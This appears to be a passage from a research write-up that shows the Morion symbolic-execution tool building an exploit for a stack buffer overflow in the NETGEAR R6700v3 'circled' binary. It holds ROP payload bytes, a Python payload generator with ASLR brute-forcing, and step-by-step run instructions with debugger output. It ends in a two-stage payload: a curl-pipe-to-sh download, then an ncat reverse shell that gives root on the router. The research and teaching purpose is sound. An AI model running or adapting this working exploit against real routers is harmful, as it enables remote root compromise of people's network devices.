[2024-05-02 07:52:51] [INFO] Start storing file 'circled.yaml'...
[2024-05-02 07:52:53] [INFO] ... finished storing file 'circled.yaml'.
[2024-05-02 07:52:53] [INFO] Start dumping payloads...
Payload [inst:5132][mem][model:fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0)][var:s+0]:
s+0000: 41 41 41 41 41 41 41 41
[...]
s+0360: 41 41 41 41 41 41 41 41
s+0368: 50 c2 ff be 42 42 42 42
s+0376: 42 42 42 42 42 42 42 42
s+0384: 42 42 42 42 42 42 42 42
s+0392: b8 c9 00 00
---
Payload [inst:15451][mem][model:fgets@libc(s=0xbeffc0c4,n=1024,stream=0x21ae0)][var:s+0]:
s+0000: ff 43 43 43 43 43 43 43
s+0008: 43 43 43 43 43 43 43 43
[...]
s+0384: 43 43 43 43 43 43 43 43
s+0392: 43 43 43 43 69 64 3e 2f
s+0400: 69 64 3b 23 00
---
[2024-05-02 07:52:53] [INFO] ... finished dumping payloads.
In our specific trace, all symbolic variables are introduced by function fgets, which, if you
remember the discussions in Vulnerability: Analysis, is called
twice (corresponding to trace instructions 5132 and 15451). For each of these calls,
morion_rop_generator returns an individual payload. Since in our case these originate from the
same read file (circleinfo.txt), what by the way is also confirmed by the same file stream
(0x21ae0), we can simply merge the two payloads together to a single one. As before, we added the
resulting payload to circled.server.py, which serves it when
started with command-line argument --payload "poc2".
[...]
# Serve requests for circleinfo.txt
[...]
elif payload == "poc2":
p = bytearray([
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
[...]
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x50,0xc2,0xff,0xbe,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,
0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0xb8,0xc9,0x00,0x00,0x69,0x64,0x3e,0x2f,
0x69,0x64,0x3b,0x23,0x00
])
[...]
Run PoC Exploit
Use the following steps to run the binary circled, while it is targeted with the proof-of-concept (PoC) payload:
- Start a HTTP server, delivering the PoC payload:
- System: ARMHF Guest
- Command:
python3 ./server/circled.server.py --payload "poc2"
- Emulate the binary circled with GDB attached (and therefore not using ASRL):
- System: ARMHF Guest (chroot)
- Command:
/circled.driver.sh --gdb
- Debug the binary circled:
- System: Analysis / Host (morion)
- Command:
cd morion/ # Ensure to be within the correct directory gdb-multiarch -q -x circled.debug.gdb # Use GDB for cross-platform remote debugging
When using the above steps, we will break at address 0xcf24. We can now validate that our exploit
works as intended (here using pwndbg):
[...]
► 0xcf24 pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
[...]
pwndbg> stepi
[...]
► 0xc9b8 mov r0, r6
0xc9bc bl #system@plt <system@plt>
[...]
pwndbg> x/s $r6
0xbeffc250: "id>/id;#"
pwndbg> continue
[...]
If the PoC exploit worked, you will find a file /id on the emulated router (System:
ARMHF Guest (chroot)) with the content uid=0 gid=0(root).
Getting a Reverse Shell
With the understanding we gained so far, it is a rather simple task to turn the PoC payload into a
more powerful one. In circled.server.py we implemented a
two-stage payload (served when using command-line argument --payload "rsh") giving us a
reverse shell on the targeted devices.
Stage-0 Payload
We replace the PoC command string id>/id with curl http://127.0.0.1:5000/stage1|sh. This will
make the targeted device download and execute the Stage-1 payload from our simulated attacker
server. As we will see in section Stage-1 Payload below, the
Stage-1 payload comes in the form of a shell script.
[...]
# Serve requests for circleinfo.txt
[...]
elif payload == "rsh":
cmd = "curl http://127.0.0.1:5000/stage1|sh"
[...]
# Replace spaces in the command (spaces cannot be used due to sscanf(str, "%s %s"))
cmd = "touch$\t/tmp/st0;" + cmd.replace(" ", "\t") + ";#"
# Generate payload
p = b"A"*368 # [ 0: 367]
p += cmd_addr.to_bytes(4, "little") # [ 368: 371] g0_r0_val (stack addr. of OS command)
p += b"B"*20 # [ 372: 391]
p += b"\xb8\xc9\x00\x00" # [ 392: 395] g0_pc_val (addr. of ROP gadget 1)
max_cmd_len = 1024-len(p)-2-2
p += b"X"*max(0, (max_cmd_len-len(cmd))) + b";" # [ 396: L] Fill up with an nonexistent command
p += bytes(cmd, "UTF-8")[:max_cmd_len] # [ L+1:1020] OS command to execute
p += b" X" # String separator: sscanf(str, "%s %s", ...)
print(f"[*] Stage 0 payload: 0x{cmd_addr:08x} '{cmd:s}'")
# Brute force the stack
HttpHandler.cmd_addr = cmd_addr - 0x1000
[...]
Note: circled.server.py also allows to serve payloads
executing arbitrary system commands. Due to the usage of sscanf, however, we cannot use spaces in
the payload. We therefore replace spaces with tab-characters.
Note: Remember that the NETGEAR R6700v3 routers use partial ASLR, which randomizes the stack. In
our exploit strategy we explained
that we are going to use stack brute-forcing to defeat this. This is what the last instruction in
the above code excerpt is used for. Also note that we prepend our intended system command with an
nonexistent command (X...X;) to increase the changes of making the command execute.
Stage-1 Payload
As soon as we defeated ASLR and the Stage-0 payload executes, the routers download and execute the following shell script:
[...]
def serve_stage1_payload(self) -> bytes:
payload = b"""#!/bin/sh
# Download ncat
curl http://127.0.0.1:5000/stage1/ncat -o /tmp/ncat
chmod +x /tmp/ncat
# Run reverse shell
/tmp/ncat -e "/bin/sh -i" 127.0.0.1 5001
"""
return payload
[...]
The shell script downloads a precompile version of ncat and uses it to initiate a reverse shell to
the simulated attacker server.
Run Final Exploit
Use the following steps to run the binary circled, while it is targeted with the final reverse shell payload:
- Start a HTTP server, delivering the reverse shell payload:
- System: ARMHF Guest
- Command:
python3 ./server/circled.server.py --payload "rsh"
- Start to listen for an inbound TCP connection:
- System: ARMHF Guest
- Command:
./server/bins/ncat -l -p 5001
- Emulate the binary circled with GDB attached (and therefore not using ASRL):
- System: ARMHF Guest (chroot)
- Command:
/circled.driver.sh --gdb
- Debug the binary circled:
- System: Analysis / Host (morion)
- Command:
cd morion/ # Ensure to be within the correct directory gdb-multiarch -q -x circled.debug.gdb # Use GDB for cross-platform remote debugging
When using the above steps, we will break at address 0xcf24. We can now validate that our exploit
works as intended (here using pwndbg):
[...]
► 0xcf24 pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
[...]
pwndbg> stepi
[...]
► 0xc9b8 mov r0, r6
0xc9bc bl #system@plt <system@plt>
[...]
pwndbg> x/628cb $r6
0xbeffc250: 88 'X' 88 'X' 88 'X' 88 'X' 88 'X' 88 'X' 88 'X' 88 'X'
[...]
0xbeffc480: 88 'X' 88 'X' 88 'X' 88 'X' 88 'X' 88 'X' 88 'X' 88 'X'
0xbeffc488: 88 'X' 88 'X' 59 ';' 116 't' 111 'o' 117 'u' 99 'c' 104 'h'
0xbeffc490: 36 '$' 9 '\t' 47 '/' 116 't' 109 'm' 112 'p' 47 '/' 115 's'
0xbeffc498: 116 't' 48 '0' 59 ';' 99 'c' 117 'u' 114 'r' 108 'l' 9 '\t'
0xbeffc4a0: 104 'h' 116 't' 116 't' 112 'p' 58 ':' 47 '/' 47 '/' 49 '1'
0xbeffc4a8: 50 '2' 55 '7' 46 '.' 48 '0' 46 '.' 48 '0' 46 '.' 49 '1'
0xbeffc4b0: 58 ':' 53 '5' 48 '0' 48 '0' 48 '0' 47 '/' 115 's' 116 't'
0xbeffc4b8: 97 'a' 103 'g' 101 'e' 49 '1' 124 '|' 115 's' 104 'h' 59 ';'
0xbeffc4c0: 35 '#' 32 ' ' 88 'X' 0 '\000'
pwndbg> continue
[...]
If the final exploit worked, you will receive a reverse shell on the targeted device as root user.
Note: If you want to see how stack brute-forcing performs, run /circled.sh without
attaching of the gdbserver, i.e. without the flag --gdb. You will receive the reverse shell,
once the correct stack address of the system command has been found.
Conclusion
This repository intended to demonstrate (some of) the current features (and limitations) of the PoC tool Morion and to enable interested readers to replicate all listed steps, fostering independent experimentation with the tool. It aimed to show how symbolic execution might assist in understanding the characteristics of a bug, determine its capabilities to decide whether or not it is exploitable, and if so, support in the process of crafting an exploit.
We showcased the tool on a real-world vulnerability to proof its practicability, however want to emphasize that the shown vulnerability class, stack-based buffer overflows, are well studied and rather easy to exploit. This might not necessarily hold true for other types of vulnerability classes, whose exploitation might sometimes be more of an art than science, and in consequence, are typically more difficult to be addressed by (automated) tools. Also, it is worth mentioning that all of the listed steps towards a working exploit can of course be done without the need of symbolic execution. However we believe that symbolic execution is a powerful technique that, especially if used wisely, can support and simplify (at least) certain tasks.
Morion, but also symbolic execution in more general terms, still have a lot of limitations (scalability, modeling interactions with the environment, etc.), especially when it comes to real-world binaries. Morion is created with the intention to research and better understand these limits.